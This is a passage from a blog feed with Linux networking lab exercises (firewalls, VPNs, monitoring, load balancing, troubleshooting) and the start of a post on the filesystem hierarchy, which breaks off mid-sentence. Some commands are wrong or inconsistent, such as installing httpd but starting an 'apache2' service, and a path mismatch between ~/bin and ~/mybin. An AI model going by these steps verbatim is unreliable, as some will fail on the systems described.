firewall-cmd --reload</pre><ul><li><strong>Block a Service:</strong></li></ul><pre>sudo firewall-cmd --permanent --remove-service=http sudo firewall-cmd --reload</pre><p><strong>Advanced firewalld Configurations</strong></p><ul><li><strong>Add a Rich Rule:</strong></li></ul><pre>sudo firewall-cmd --permanent --add-rich-rule=&#39;rule family=&quot;ipv4&quot; source address=&quot;192.168.1.100&quot; reject&#39; sudo firewall-cmd --reload</pre><ul><li><strong>Port Forwarding:</strong></li></ul><pre>sudo firewall-cmd --permanent --add-forward-port=port=8080:proto=tcp:toport=80:toaddr=192.168.1.50 sudo firewall-cmd --reload</pre><h4>Step 3: Using nftables for Modern Firewall Management</h4><ol><li><strong>Install nftables:</strong></li></ol><pre>sudo yum install nftables</pre><p><strong>Start and Enable nftables:</strong></p><pre>sudo systemctl start nftables sudo systemctl enable nftables</pre><p><strong>Basic nftables Commands:</strong></p><ul><li><strong>List Rules:</strong></li></ul><pre>sudo nft list ruleset</pre><ul><li><strong>Allow Incoming SSH Connections:</strong></li></ul><pre>sudo nft add rule inet filter input tcp dport 22 accept</pre><ul><li><strong>Block Incoming Traffic from a Specific IP:</strong></li></ul><pre>sudo nft add rule inet filter input ip saddr 192.168.1.100 drop</pre><p><strong>Advanced nftables Configurations:</strong></p><ul><li><strong>Limit Connection Rate:</strong></li></ul><pre>sudo nft add rule inet filter input tcp dport 80 limit rate 25/minute burst 100 packets accept</pre><ul><li><strong>Port Forwarding:</strong></li></ul><pre>sudo nft add rule ip nat prerouting tcp dport 8080 dnat to 192.168.1.50:80 sudo nft add rule ip nat postrouting ip daddr 192.168.1.50 tcp dport 80 masquerade</pre><h4>Outcome:</h4><p>By completing these steps, readers will understand how to configure and manage firewalls using iptables, firewalld, and nftables. They will gain hands-on experience with firewall rules, port forwarding, and advanced security configurations.</p><h3>Exercise 5: VPN Setup (OpenVPN or WireGuard)</h3><p>A <strong>VPN (Virtual Private Network)</strong> creates a secure and encrypted connection over a less secure network, such as the internet. It ensures that data transmitted between your device and the internet remains private and protected from unauthorized access. Here’s a brief overview:</p><h4>Key Features:</h4><ol><li><strong>Encryption:</strong> VPNs encrypt data to protect it from being intercepted by hackers or unauthorized entities.</li><li><strong>Privacy:</strong> They mask your IP address, making your online activities harder to trace back to you.</li><li><strong>Security:</strong> VPNs provide a secure connection, even when using public Wi-Fi networks.</li></ol><h4>Common Uses:</h4><ul><li><strong>Secure Remote Access:</strong> Allows employees to securely access company resources from remote locations.</li><li><strong>Privacy Protection:</strong> Protects personal information when browsing the internet.</li><li><strong>Bypassing Geo-Restrictions:</strong> Enables access to content restricted to specific geographical locations.</li></ul><h4>Types of VPNs:</h4><ol><li><strong>Remote Access VPN:</strong> Connects individual users to a private network, commonly used by remote workers.</li><li><strong>Site-to-Site VPN:</strong> Connects entire networks to each other, often used to link different office locations of an organization.</li></ol><h4>Popular VPN Protocols:</h4><ul><li><strong>OpenVPN:</strong> Open-source and highly secure.</li><li><strong>WireGuard:</strong> Modern, fast, and lightweight.</li><li><strong>IPsec:</strong> Widely used for secure network connections.</li></ul><p>In summary, a VPN provides a secure and private way to connect to the internet, protecting your data and enhancing your online privacy.</p><p>Installing and configuring OpenVPN involves a few key steps to set up a secure Virtual Private Network (VPN) connection.</p><h4>Step 1: Install OpenVPN</h4><pre>sudo yum install epel-release sudo yum install openvpn</pre><h4>Step 2: Generate Server and Client Certificates</h4><p><strong>Set Up the Easy-RSA Package:</strong></p><p>Easy-RSA is a toolkit for managing certificates. Install it with:</p><pre>sudo yum install easy-rsa</pre><p><strong>Initialize the PKI and Generate CA Certificate:</strong></p><pre>make-cadir ~/openvpn-ca cd ~/openvpn-ca source ./vars ./clean-all ./build-ca</pre><ol><li><strong>Generate Server Certificate and Key:</strong></li></ol><pre>./build-key-server server</pre><p><strong>Generate Client Certificate and Key</strong></p><pre>./build-key client1</pre><p><strong>Generate Diffie-Hellman Parameters:</strong></p><pre>./build-dh</pre><h4>Step 3: Configure the OpenVPN Server</h4><p><strong>Copy the Sample Configuration File:</strong></p><pre>sudo cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn/ sudo gzip -d /etc/openvpn/server.conf.gz</pre><p><strong>Edit the Server Configuration File:</strong></p><ul><li>Open the configuration file and set the necessary parameters, such as the paths to the server’s certificate and key, and the Diffie-Hellman parameters.</li></ul><pre>sudo nano /etc/openvpn/server.conf</pre><p><strong>Enable IP Forwarding:</strong></p><ul><li>Edit the /etc/sysctl.conf file to enable IP forwarding.</li></ul><pre>sudo nano /etc/sysctl.conf</pre><ul><li>Add or uncomment the following line:</li></ul><pre>net.ipv4.ip_forward = 1</pre><ul><li>Apply the changes:</li></ul><pre>sudo sysctl -p</pre><p><strong>Start and Enable OpenVPN Service:</strong></p><pre>sudo systemctl start openvpn@server sudo systemctl enable openvpn@server</pre><h4>Step 4: Configure the OpenVPN Client</h4><ol><li><strong>Copy the Sample Client Configuration File:</strong></li></ol><pre>sudo cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf ~/client1.ovpn</pre><p><strong>Edit the Client Configuration File:</strong></p><ul><li>Open the client configuration file and set the server’s IP address or domain name, and the paths to the client’s certificate and key.</li></ul><pre>nano ~/client1.ovpn</pre><p><strong>Transfer the Client Configuration File and Certificates:</strong></p><ul><li>Transfer the client1.ovpn file and the client certificate and key to the client machine.</li></ul><p><strong>Start the OpenVPN Client:</strong></p><ul><li>On the client machine, start the OpenVPN client using the configuration file:</li></ul><pre>sudo openvpn --config client1.ovpn</pre><p>By following these steps, you can establish a secure VPN connection using OpenVPN.</p><h4>Setting Up WireGuard</h4><p><strong>Step 1: Install WireGuard</strong></p><p><strong>Update Package List and Install WireGuard:</strong></p><pre>sudo yum install epel-release sudo yum install wireguard-tools</pre><p><strong>Step 2: Generate Keys</strong></p><p><strong>Generate Private and Public Keys:</strong></p><pre>umask 077 wg genkey | tee privatekey | wg pubkey &gt; publickey</pre><p><strong>Step 3: Configure the WireGuard Server</strong></p><p><strong>Create a Configuration File:</strong></p><pre>sudo nano /etc/wireguard/wg0.conf</pre><ul><li>Example configuration:</li></ul><pre>[Interface] PrivateKey = &lt;server_private_key&gt; Address = 10.0.0.1/24 ListenPort = 51820  [Peer] PublicKey = &lt;client_public_key&gt; AllowedIPs = 10.0.0.2/32</pre><p><strong>Enable IP Forwarding:</strong></p><pre>sudo nano /etc/sysctl.conf</pre><ul><li>Add or uncomment:</li></ul><pre>net.ipv4.ip_forward = 1</pre><p>Apply changes:</p><pre>sudo sysctl -p</pre><p><strong>Start and Enable WireGuard:</strong></p><pre>sudo wg-quick up wg0 sudo systemctl enable wg-quick@wg0</pre><p><strong>Step 4: Configure the WireGuard Client</strong></p><p><strong>Generate Client Keys:</strong></p><pre>umask 077 wg genkey | tee client_privatekey | wg pubkey &gt; client_publickey</pre><p><strong>Create a Client Configuration File:</strong></p><pre>nano ~/client-wg0.conf</pre><ul><li>Example configuration:</li></ul><pre>[Interface] PrivateKey = &lt;client_private_key&gt; Address = 10.0.0.2/24  [Peer] PublicKey = &lt;server_public_key&gt; Endpoint = &lt;server_ip&gt;:51820 AllowedIPs = 0.0.0.0/0</pre><p><strong>Start the WireGuard Client:</strong></p><pre>sudo wg-quick up client-wg0.conf</pre><h4>Outcome:</h4><p>By completing these steps, you will have a secure VPN setup using either OpenVPN or WireGuard, providing secure remote access to your network.</p><h3>Exercise 6: Network Monitoring and Performance Optimization</h3><p>Objective: Monitor and optimize network performance.</p><h4>Network Monitoring</h4><ul><li><strong>Purpose:</strong> Continuous observation of a network to ensure its performance, availability, and security.</li><li><strong>Tools:</strong> Tools like Netstat, ss, tcpdump, Nagios, Zabbix, PRTG, and SolarWinds help track network activity.</li></ul><p><strong>Key Metrics:</strong></p><ul><li><strong>Bandwidth Usage:</strong> Monitoring the amount of data transmitted over the network.</li><li><strong>Latency:</strong> Measuring the time it takes for data to travel from source to destination.</li><li><strong>Uptime/Downtime:</strong> Tracking the availability of network devices and services.</li><li><strong>Error Rates:</strong> Identifying issues like packet loss and transmission errors.</li><li><strong>Benefits:</strong> Detects issues early, helps in troubleshooting, ensures network reliability and security.</li></ul><h4>Performance Optimization</h4><ul><li><strong>Purpose:</strong> Enhancing the efficiency and speed of a network to provide a better user experience.</li><li><strong>Techniques:</strong></li><li><strong>Load Balancing:</strong> Distributes traffic across multiple servers to avoid overloading any single server.</li><li><strong>QoS (Quality of Service):</strong> Prioritizes critical network traffic to ensure important services get the necessary bandwidth.</li><li><strong>Caching:</strong> Stores frequently accessed data closer to the user to reduce latency.</li><li><strong>Network Segmentation:</strong> Divides the network into smaller segments to reduce congestion and improve performance.</li><li><strong>Upgrading Hardware:</strong> Replacing outdated hardware with more efficient and faster devices.</li></ul><h4>How They Work Together</h4><ul><li><strong>Proactive Monitoring:</strong> Identifying potential performance issues before they affect users.</li><li><strong>Data-Driven Optimization:</strong> Using insights from monitoring to make informed decisions on improving network performance.</li></ul><p>By combining network monitoring with performance optimization, organizations can ensure a reliable, fast, and efficient network.</p><h4>Step 1: Monitor Network Traffic</h4><h4>1.1 Using netstat</h4><p>Run the following command to view active network connections:</p><pre>netstat -tuln</pre><ul><li>-t: Shows TCP connections.</li><li>-u: Shows UDP connections.</li><li>-l: Lists listening ports.</li><li>-n: Displays IP addresses and ports numerically.</li></ul><h4>1.2 Using ss (Socket Statistics)</h4><ol><li>Use ss to display detailed socket information:</li></ol><pre>ss -tunap</pre><ul><li>-t: Shows TCP connections.</li><li>-u: Shows UDP connections.</li><li>-n: Displays IP numerically.</li><li>-a: Displays all sockets.</li><li>-p: Displays the process using the socket.</li></ul><h4>1.3 Using tcpdump</h4><ol><li>Capture network packets in real-time:</li></ol><pre>sudo tcpdump -i &lt;interface&gt; -nn</pre><ol><li>Replace &lt;interface&gt; with your active network interface (e.g., enp0s3).</li><li>To save the output to a file:</li></ol><pre>sudo tcpdump -i &lt;interface&gt; -w capture.pcap</pre><ul><li>You can open the .pcap file in Wireshark for detailed analysis.</li></ul><h4>1.4 Using iftop</h4><p>Install iftop (if not already installed):</p><pre>sudo yum install iftop</pre><p>Run iftop to monitor live bandwidth usage:</p><pre>sudo iftop -i &lt;interface&gt;</pre><h4>1.5 Using Wireshark</h4><ol><li>Open Wireshark and select the desired network interface.</li><li>Start capturing packets to analyze traffic visually.</li></ol><h3>Step 2: Analyze Network Traffic</h3><h4>Using nmap</h4><ol><li>Scan open ports on a specific host:</li></ol><pre>nmap -sT &lt;target_IP&gt;</pre><p>Perform a network scan to discover devices:</p><pre>nmap -sn 192.168.1.0/24</pre><ol><li>Replace 192.168.1.0/24 with your network&#39;s IP range.</li></ol><h3>Step 3: Optimize Network Interfaces</h3><h4>3.1 Adjust MTU (Maximum Transmission Unit)</h4><p>Check the current MTU:</p><pre>ip link show &lt;interface&gt;</pre><p>Set a new MTU value:</p><pre>sudo ip link set &lt;interface&gt; mtu &lt;value&gt;</pre><p>Example:</p><pre>sudo ip link set enp0s3 mtu 1400</pre><h4>3.2 Tune TCP Buffer Sizes</h4><ol><li>View current TCP buffer sizes:</li></ol><pre>cat /proc/sys/net/ipv4/tcp_rmem cat /proc/sys/net/ipv4/tcp_wmem</pre><ol><li>Adjust buffer sizes (temporary change):</li></ol><pre>sudo sysctl -w net.ipv4.tcp_rmem=&quot;4096 87380 6291456&quot; sudo sysctl -w net.ipv4.tcp_wmem=&quot;4096 16384 4194304&quot;</pre><ol><li>For permanent changes, edit /etc/sysctl.conf:</li></ol><pre>sudo nano /etc/sysctl.conf</pre><p>Add:</p><pre>net.ipv4.tcp_rmem = 4096 87380 6291456 net.ipv4.tcp_wmem = 4096 16384 4194304</pre><h3>Step 4: Monitor Bandwidth Usage</h3><h4>Using ntopng</h4><ol><li>Install ntopng:</li></ol><pre>sudo yum install ntopng</pre><ol><li>Start the service:</li></ol><pre>sudo systemctl start ntopng</pre><p>Access the web interface:</p><ul><li>Open your browser and go to http://&lt;server_IP&gt;:3000.</li><li>Log in with default credentials (admin / admin).</li></ul><h3>Step 5: Measure Network Throughput</h3><h4>Using iperf3</h4><ol><li>Install iperf3:</li></ol><pre>sudo yum install iperf3</pre><p>On one VM, run iperf3 in server mode:</p><pre>iperf3 -s</pre><ol><li>On another VM, run iperf3 in client mode to test throughput:</li></ol><pre>iperf3 -c &lt;server_IP&gt;</pre><h3>Outcome</h3><p>By completing these tasks, readers will:</p><ol><li>Learn how to monitor network traffic using various tools.</li><li>Gain insights into optimizing network parameters for better performance.</li><li>Understand how to identify and address network bottlenecks.</li></ol><h3>Exercise 7: High Availability and Load Balancing</h3><h4>Objective:</h4><p>To configure high availability and load balancing for a web service using Linux tools.</p><h3>High Availability (HA)</h3><p>High Availability is the practice of ensuring that a system or service remains accessible and operational for as long as possible, minimizing downtime. This is achieved through redundancy, failover mechanisms, and efficient resource management. Key components of HA include:</p><ul><li><strong>Redundancy:</strong> Having multiple instances of critical components (e.g., servers, databases) to take over in case of failure.</li><li><strong>Failover:</strong> Automatic switching to a standby system or component when the primary system fails.</li><li><strong>Clustering:</strong> Grouping multiple servers to work together, sharing the load and providing backup in case one server fails.</li></ul><h3>Load Balancing</h3><p>Load Balancing is the process of distributing network or application traffic across multiple servers to ensure no single server becomes overwhelmed. This helps in improving performance, reliability, and availability. Key benefits of load balancing include:</p><ul><li><strong>Scalability:</strong> Distributing traffic evenly across servers allows for handling increased loads.</li><li><strong>Performance:</strong> Improves response times and reduces latency by directing traffic to the least busy server.</li><li><strong>Reliability:</strong> If one server fails, the load balancer redirects traffic to other operational servers.</li></ul><h3>How They Work Together</h3><ul><li><strong>HA with Load Balancing:</strong> Load balancers can distribute traffic across multiple redundant servers, ensuring high availability by diverting traffic away from any failed server to those that are still operational. This combination ensures both performance and uptime.</li></ul><p>High Availability focuses on minimizing downtime and ensuring continuous operation, while Load Balancing distributes traffic to improve performance and prevent overloads. Together, they form a robust system that enhances both reliability and efficiency.</p><h3>Step-by-Step Guide to setup</h3><h4>Step 1: Set Up Two Web Servers</h4><p><strong>Install a Web Server (Apache or Nginx) o</strong>n both VMs designated as web servers:</p><pre>sudo yum install httpd</pre><ul><li>Start and enable the web server:</li></ul><pre>sudo systemctl start apache2 sudo systemctl enable apache2</pre><p><strong>Create a Test Page on Each Web Server:</strong></p><ul><li>Edit the default index.html file to identify the server:</li></ul><pre>echo &quot;Web Server 1&quot; | sudo tee /var/www/html/index.html  # On Server 1 echo &quot;Web Server 2&quot; | sudo tee /var/www/html/index.html  # On Server 2</pre><h4>Step 2: Install and Configure HAProxy for Load Balancing</h4><p><strong>Install HAProxy:</strong></p><pre>sudo yum install haproxy</pre><p><strong>Configure HAProxy:</strong></p><ul><li>Edit the HAProxy configuration file:</li></ul><pre>sudo nano /etc/haproxy/haproxy.cfg</pre><ul><li>Add the following configuration:</li></ul><pre>frontend http_front     bind *:80     default_backend web_servers  backend web_servers     balance roundrobin     server web1 &lt;web1_IP&gt;:80 check     server web2 &lt;web2_IP&gt;:80 check</pre><ul><li>Replace &lt;web1_IP&gt; and &lt;web2_IP&gt; with the IP addresses of the two web servers.</li></ul><p><strong>Start HAProxy:</strong></p><pre>sudo systemctl start haproxy sudo systemctl enable haproxy</pre><h4>Step 3: Set Up High Availability (Optional)</h4><p>If you want to make the load balancer itself highly available:</p><p><strong>Install Keepalived:</strong></p><pre>sudo yum install keepalived</pre><p><strong>Configure Keepalived for Virtual IP Address:</strong></p><ul><li>Edit the Keepalived configuration file:</li></ul><pre>sudo nano /etc/keepalived/keepalived.conf</pre><ul><li>Add the following:</li></ul><pre>vrrp_instance VI_1 {     state MASTER     interface &lt;network_interface&gt;     virtual_router_id 51     priority 100     advert_int 1     authentication {         auth_type PASS         auth_pass 12345     }     virtual_ipaddress {         &lt;virtual_IP&gt;     } }</pre><ul><li>Replace &lt;network_interface&gt; with your active interface (e.g., enp0s3) and &lt;virtual_IP&gt; with a free IP address in your network.</li></ul><p><strong>Restart Keepalived:</strong></p><pre>sudo systemctl restart keepalived</pre><h4>Step 4: Test Load Balancing</h4><ol><li>Open a browser or use curl to access the HAProxy server:</li></ol><pre>curl http://&lt;haproxy_IP&gt;</pre><ol><li>Refresh the page multiple times. You should see responses alternating between “Web Server 1” and “Web Server 2” due to round-robin balancing.</li></ol><h4>Step 5: Simulate a Failover Scenario</h4><p>Stop one of the web servers:</p><pre>sudo systemctl stop apache2  # On Server 1 or Server 2</pre><p>Access the HAProxy server again. It should automatically redirect traffic to the remaining active web server.</p><h4>Outcome</h4><p>By completing this exercise, readers will:</p><ol><li>Understand the concepts of load balancing and high availability.</li><li>Learn to configure HAProxy for load balancing.</li><li>Gain experience in failover scenarios and ensuring uptime for web services.</li></ol><h3>Exercise 8: Network Troubleshooting</h3><h4>Objective:</h4><p>To diagnose and resolve common networking issues on Linux systems using standard troubleshooting tools and techniques.</p><p>Network Troubleshooting is the process of diagnosing and resolving network issues to ensure smooth and efficient operation. Here’s a brief overview:</p><h4>1. Identify the Problem:</h4><ul><li><strong>Symptoms Check:</strong> Determine what the issue is (e.g., slow connection, no internet access, dropped packets).</li><li><strong>Scope:</strong> Identify which devices or areas are affected.</li></ul><h4>2. Gather Information:</h4><ul><li><strong>Use Network Tools:</strong> Tools like ping, traceroute, and nslookup help diagnose connectivity issues.</li><li><strong>Check Logs:</strong> Review logs from network devices and servers for error messages.</li></ul><h4>3. Common Troubleshooting Steps:</h4><ul><li><strong>Ping Test:</strong> Verify connectivity to a specific IP address.</li><li><strong>Traceroute:</strong> Identify the path packets take to reach a destination and locate any bottlenecks.</li><li><strong>Check IP Configuration:</strong> Ensure devices have the correct IP settings.</li><li><strong>Restart Devices:</strong> Sometimes, simply restarting routers, switches, or computers can resolve issues.</li><li><strong>Check Cables and Connections:</strong> Ensure physical connections are secure and cables are not damaged.</li></ul><h4>4. Isolation and Testing:</h4><ul><li><strong>Segment Isolation:</strong> Isolate different network segments to pinpoint the problematic area.</li><li><strong>Swap Components:</strong> Replace suspect cables, ports, or devices to test if the issue persists.</li></ul><h4>5. Resolution and Documentation:</h4><ul><li><strong>Implement Fixes:</strong> Apply the necessary fixes based on the diagnosis.</li><li><strong>Test:</strong> Ensure the issue is resolved and the network is functioning normally.</li><li><strong>Document:</strong> Keep records of the problem, steps taken, and the resolution for future reference.</li></ul><p>Effective network troubleshooting involves a systematic approach to identify, isolate, and resolve network issues to maintain optimal performance.</p><h3>Step-by-Step Guide</h3><h4>Step 1: Simulate Network Issues</h4><p><strong>Incorrect IP Configuration:</strong></p><ul><li>Assign an incorrect IP address to a VM:</li></ul><pre>sudo ip addr add 192.168.100.200/24 dev &lt;interface&gt;</pre><ul><li>Replace &lt;interface&gt; with the active network interface (e.g., enp0s3).</li><li>Omit the default gateway:</li></ul><pre>sudo ip route delete default</pre><p><strong>DNS Resolution Problems:</strong></p><ul><li>Modify the /etc/resolv.conf file to point to a non-functional DNS server:</li></ul><pre>sudo nano /etc/resolv.conf</pre><ul><li>Add:</li></ul><pre>nameserver 8.8.8.9  # Incorrect DNS</pre><p><strong>Routing Problems:</strong></p><ul><li>Remove an existing route:</li></ul><pre>sudo ip route del &lt;destination_network&gt;</pre><ul><li>Example:</li></ul><pre>sudo ip route del 192.168.1.0/24</pre><p><strong>Firewall Misconfigurations:</strong></p><ul><li>Block ICMP (ping) requests:</li></ul><pre>sudo iptables -A INPUT -p icmp --icmp-type echo-request -j DROP</pre><h4>Step 2: Diagnose Issues</h4><p><strong>Check IP Address Configuration:</strong></p><ul><li>Use ip addr to display the IP address:</li></ul><pre>ip addr show</pre><ul><li>Verify the default gateway:</li></ul><pre>ip route</pre><p><strong>Test DNS Resolution:</strong></p><ul><li>Use ping to check DNS resolution:</li></ul><pre>ping google.com</pre><ul><li>Use nslookup to query the DNS server:</li></ul><pre>nslookup google.com</pre><ol><li><strong>Verify Network Connectivity:</strong></li></ol><ul><li>Use ping to test connectivity between VMs:</li></ul><pre>ping &lt;target_IP&gt;</pre><ul><li>Use traceroute to track the route packets take:</li></ul><pre>traceroute &lt;target_IP&gt;</pre><ul><li>Install traceroute if not already available:</li></ul><pre>sudo yum install traceroute</pre><p><strong>Inspect Firewall Rules:</strong></p><ul><li>Check active iptables rules:</li></ul><pre>sudo iptables -L -n -v</pre><ul><li>If using firewalld, list active zones and rules:</li></ul><pre>sudo firewall-cmd --list-all</pre><p><strong>Capture Traffic for Analysis:</strong></p><ul><li>Use tcpdump to capture network traffic:</li></ul><pre>sudo tcpdump -i &lt;interface&gt; -nn</pre><ul><li>Save captured traffic for analysis:</li></ul><pre>sudo tcpdump -i &lt;interface&gt; -w troubleshooting.pcap</pre><h4>Step 3: Resolve Issues</h4><p><strong>Fix IP Configuration:</strong></p><ul><li>Assign the correct IP address and default gateway:</li></ul><pre>sudo ip addr add 192.168.1.100/24 dev &lt;interface&gt; sudo ip route add default via 192.168.1.1</pre><ol><li><strong>Restore DNS Settings:</strong></li></ol><ul><li>Edit /etc/resolv.conf and provide the correct DNS server:</li></ul><pre>sudo nano /etc/resolv.conf</pre><ul><li>Add:</li></ul><pre>nameserver 8.8.8.8</pre><ol><li><strong>Correct Routing Issues:</strong></li></ol><ul><li>Add missing routes:</li></ul><pre>sudo ip route add 192.168.1.0/24 via 192.168.1.1</pre><p><strong>Adjust Firewall Rules:</strong></p><ul><li>Allow ICMP traffic:</li></ul><pre>sudo iptables -D INPUT -p icmp --icmp-type echo-request -j DROP</pre><ul><li>Reload firewalld to reset to default:</li></ul><pre>sudo firewall-cmd --reload</pre><h4>Step 4: Verify Resolutions</h4><p><strong>Check Connectivity:</strong></p><ul><li>Test with ping:</li></ul><pre>ping google.com ping &lt;target_VM_IP&gt;</pre><p><strong>Verify DNS Resolution:</strong></p><ul><li>Use dig or nslookup:</li></ul><pre>nslookup google.com</pre><p><strong>Confirm Routing Table:</strong></p><ul><li>Check routes:</li></ul><pre>ip route</pre><p><strong>Test Firewall Configurations:</strong></p><ul><li>Scan open ports using nmap:</li></ul><pre>nmap -sT &lt;target_VM_IP&gt;</pre><h4>Outcome</h4><p>By completing this exercise, readers will:</p><ol><li>Learn to simulate and diagnose common network issues.</li><li>Gain hands-on experience using Linux network troubleshooting tools.</li><li>Develop skills to systematically resolve network misconfigurations.</li></ol><h3>Final Outcome</h3><p>Through these exercises, readers will develop a comprehensive understanding of Linux networking, covering configuration, security, troubleshooting, and optimization. This prepares them for real-world scenarios and advanced networking roles.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccbec87087ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring the Linux Filesystem Hierarchy]]></title>
            <link>https://medium.com/@onyedikachiofooha/exploring-the-linux-filesystem-hierarchy-b884ef0d39d0?source=rss-1f1ac82dce2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b884ef0d39d0</guid>
            <dc:creator><![CDATA[Onyedikachi Obioma Ofooha]]></dc:creator>
            <pubDate>Wed, 25 Dec 2024 08:34:37 GMT</pubDate>
            <atom:updated>2024-12-25T08:39:20.586Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_FTRPWtq2zFf0_Xblr89g.jpeg" /></figure><p>The Linux filesystem hierarchy represents a structured and organized way of managing files and directories within a Linux operating system. Understanding this hierarchy is crucial for effective system administration and software development. This write up will explore the key directories and their functions, highlighting the standardized structure that allows for consistent navigation and management of system resources. We will examine the root directory (“/”) and its primary subdirectories, including but not limited to /bin, /etc, /home, /lib, /root, /sbin, /tmp, and /var.</p><p>By investigating the contents and purpose of these directories, we will gain a comprehensive understanding of the Linux filesystem’s organization and how this organization facilitates efficient system operation. This understanding will provide a foundation for more advanced tasks such as troubleshooting, security management, and application deployment.</p><p><strong>Task 1</strong>: We will Log in as student user and explore the directory structure using the following commands: <strong><em>pwd</em></strong> and<strong><em> ls</em></strong> to answer these simple questions.<strong><em> pwd</em></strong>: Displays your current working directory? <strong><em>ls</em></strong> : List all directories in the root / directory.<strong><em> tree -L 2</em></strong> /: Display a tree of the directory hierarchy up to two levels.</p><p>Find below illustrations:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xg8Pyj7UJKVRYWFqFHZafQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MNetnffYGGto0ckBFKjTng.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*bJLRc8MBZyySymjSHaY66Q.jpeg" /></figure><p><strong>IDENTIFYING THE PURPOSE OF THE FOLLOWING DIRCTORIES BELOW</strong>:</p><p>/bin, /sbin, /etc, /var, and /home</p><p><strong>/bin</strong>: This directory contains essential binary files (executable programs) that are available to all users. These are commands frequently used by all users, ensuring basic system functionality. Examples include ls, cp, mv, and date.</p><p><strong>/sbin</strong>: Similar to /bin, /sbin also contains essential binary files (executable programs). However, these are typically used for system administration tasks and are usually only accessible to the root user (or users with appropriate privileges). These commands are crucial for system maintenance and management.</p><p><strong>/etc</strong>: This directory stores the system’s configuration files. These files control the behavior and settings of various system programs and services. It’s crucial to note that this directory does not usually contain executable files; rather, it holds the data that dictates how executables operate.</p><p><strong>/var</strong>: This directory stores variable data files — that is, data that changes frequently. This includes log files, databases, and temporary files generated by various applications and system processes. The /var directory is designed to grow dynamically as data accumulates.</p><p><strong>/home</strong>: This directory is where user accounts’ home directories are located. Each user has a subdirectory within /home which contains their personal files, settings, and configurations. This provides a way to separate and organize user-specific data.</p><p><strong>Task 2</strong>: Verify your home directory. Navigate to /home and list its contents. Create a custom directory for your binaries and Add the directory to your PATH. Verify the directory was added to your PATH.</p><p><strong>A. Verify Your Home Directory</strong><br>To verify your home directory, you can use the following command in the terminal:<br><strong>echo $HOME</strong><br>This will display the path to your home directory. Typically, it will be something like `/home/username`.</p><p><strong>B. Navigate to `/home` and List Its Contents</strong><br>To navigate to the `/home` directory and list its contents, use these commands:<br><strong><em>cd /home<br>ls -l</em></strong><br>- The `cd /home` command changes your current directory to `/home`.<br>- The `ls -l` command lists all files and directories in a detailed format.</p><p><strong>C</strong>. <strong>Create a Custom Directory for Your Binaries:</strong></p><ul><li>In the terminal, type:</li></ul><pre>mkdir ~/bin</pre><ul><li><strong>Add the Directory to Your PATH:</strong></li><li>In the terminal, open the .bashrc file:</li></ul><pre>nano ~/.bashrc</pre><ul><li>Add the following line at the end:</li></ul><pre>export PATH=$PATH:~/bin</pre><p>Adding export PATH=$PATH:~/bin to .bashrc makes the change to the system&#39;s PATH variable permanent, allowing the shell to recognize executables in the ~/mybin directory every time a new terminal session is opened.</p><p>Save the file and exit the editor.</p><ul><li>Source it:</li></ul><pre>source ~/.bashrc</pre><ul><li><strong>Verify the Directory was Added to Your PATH:</strong></li><li>In the terminal, type:</li></ul><pre>echo $PATH</pre><p>Look for `~/bin` in the output. If you see it listed, Your custom directory is now part of your PATH.</p><p>Find below the illustration from my terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YjvV2CIigzKQrLMTCYn1sA.jpeg" /></figure><h3><strong>Exploring Binary Directories</strong></h3><p><strong>1. List binaries available in /bin:</strong></p><p>Use the command ls -l /bin or navigate to the /bin directory using the cd command then list with ls. This will list all files and directories within /bin, showing details including file type and permissions. You’ll see many executable files (binaries).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*krYu44HXqQe09qNySaAKeg.jpeg" /></figure><p><strong>2. Try accessing root-restricted binaries (e.g., /sbin):</strong></p><p>As a standard user, attempt to run a command from /sbin. For example, try shutdown -h now. You’ll likely receive a “Permission denied” error because these commands are typically restricted to the root user (or users with sudo access).</p><p><strong>3. Switch to root or use sudo to execute the same command:</strong></p><p>Switching to root (not recommended for general use): Use the su command (requires the root password). This will give you root privileges. After switching, try the shutdown command again. Remember to exit root using exit.</p><p>Using sudo (recommended): Prefix the command with sudo. For example: sudo shutdown -h now. This will execute the command with root privileges, prompting you for your user password if required. This is a safer method than directly switching to root.</p><p><strong>4. Difference in permissions between /bin and /sbin</strong>:</p><p>The core difference lies in the intended users:</p><p>/bin contains binaries for everyday use by all users. These are commands needed for basic user tasks. The permissions are set to allow execution by all users.</p><p>/sbin contains system administration binaries, primarily designed for use by the root user or users with appropriate elevated privileges. These commands handle system-level tasks, and restricting access prevents accidental or malicious changes to the system. Permissions are usually set to allow only root or specific privileged users to execute these programs. This ensures system stability and security.</p><h3><strong>Software Installation and File Locations</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRB9miV2PCwommL-EXNoqA.jpeg" /><figcaption>cowsay package successfully installed. It is a fun and quirky command-line utility that generates an ASCII art representation of animal(cow) with speech or thought bubbles containing customizable text. The<strong> which</strong> command was also used as well to Identify where the application files are stored.</figcaption></figure><p><strong>EXERCISE: Locate the binary file (/usr/games/cowsay) Configuration files (if any) and Documentation for cowsay</strong></p><h4>1. Binary File</h4><p>The binary for cowsay is typically located at /usr/games/cowsay. To verify this:</p><ul><li>Open a terminal and run:</li></ul><pre>which cowsay</pre><ul><li>If installed, the output will show the path to the cowsay binary (e.g., /usr/games/cowsay or another location like /usr/bin/cowsay).</li></ul><h4>2. Configuration Files</h4><p>cowsay doesn&#39;t require configuration files for basic operation. However, you might find additional &quot;cowfiles&quot; (ASCII art figures) that it uses for generating output. These files are often stored in a directory such as /usr/share/cowsay/ or /usr/share/cows/.</p><ul><li>To locate these files, you can run:</li></ul><pre>rpm -ql cowsay | grep cows</pre><h4>3. Documentation</h4><p>The documentation for cowsay includes but not limited to Man Page</p><p>You can access it by running:</p><pre>man cowsay</pre><h3>Exploring Library Directories</h3><p>Library directories like /lib and /lib64 store shared libraries (.so files) that are used by binaries to provide reusable 